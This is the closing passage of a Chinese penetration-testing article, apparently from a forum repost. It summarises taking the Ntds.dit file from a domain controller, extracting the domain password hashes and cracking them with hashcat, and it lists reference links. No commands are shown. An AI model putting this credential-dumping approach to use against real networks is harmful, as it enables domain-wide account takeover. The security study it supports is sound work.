E n d i n g … … 本 文 我 们 总 结 了 如 何 获 取 域 控 制 器 上 的 N t d s . d i t 文 件 并 提 取 其 中 的 域 账 户 和 密 码 哈 希 。 获 得 的 密 码 哈 希 可 以 用 h a s h c a t 等 工 具 进 行 破 解 ， 详 情 请 看 我 的 另 一 篇 文 章 ： 《 内 网 横 向 移 动 研 究 ： 获 取 域 内 单 机 密 码 与 H a s h 》 。 参 考 ： h t t p s : / / 3 g s t u d e n t . g i t h u b . i o / 3 g s t u d e n t . g i t h u b . i o / 域 渗 透 - 获 得 域 控 服 务 器 的 N T D S . d i t 文 件 / h t t p s : / / b l o g . c s d n . n e t / q q _ 3 6 1 1 9 1 9 2 / a r t i c l e / d e t a i l s / 1 0 4 2 2 4 8 5 1 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 1 5 1 2 4 1 h t t p s : / / b l o g . c s d n . n e t / q q _ 4 1 8 7 4 9 3 0 / a r t i c l e / d e t a i l s / 1 0 8 1 4 1 3 3 1 h t t p : / / w w w . h a c k d i g . c o m / 0 8 / h a c k - 5 5 8 8 8 . h t m h t t p s : / / w w w . f r e e b u f . c o m / s e c t o o l / 1 7 6 8 7 6 . h t m l h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / s y s t e m / 1 5 1 4 6 3 . h t m l h t t p : / / w w w . m o t t o i n . c o m / d e t a i l / 2 8 9 1 . h t m l 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理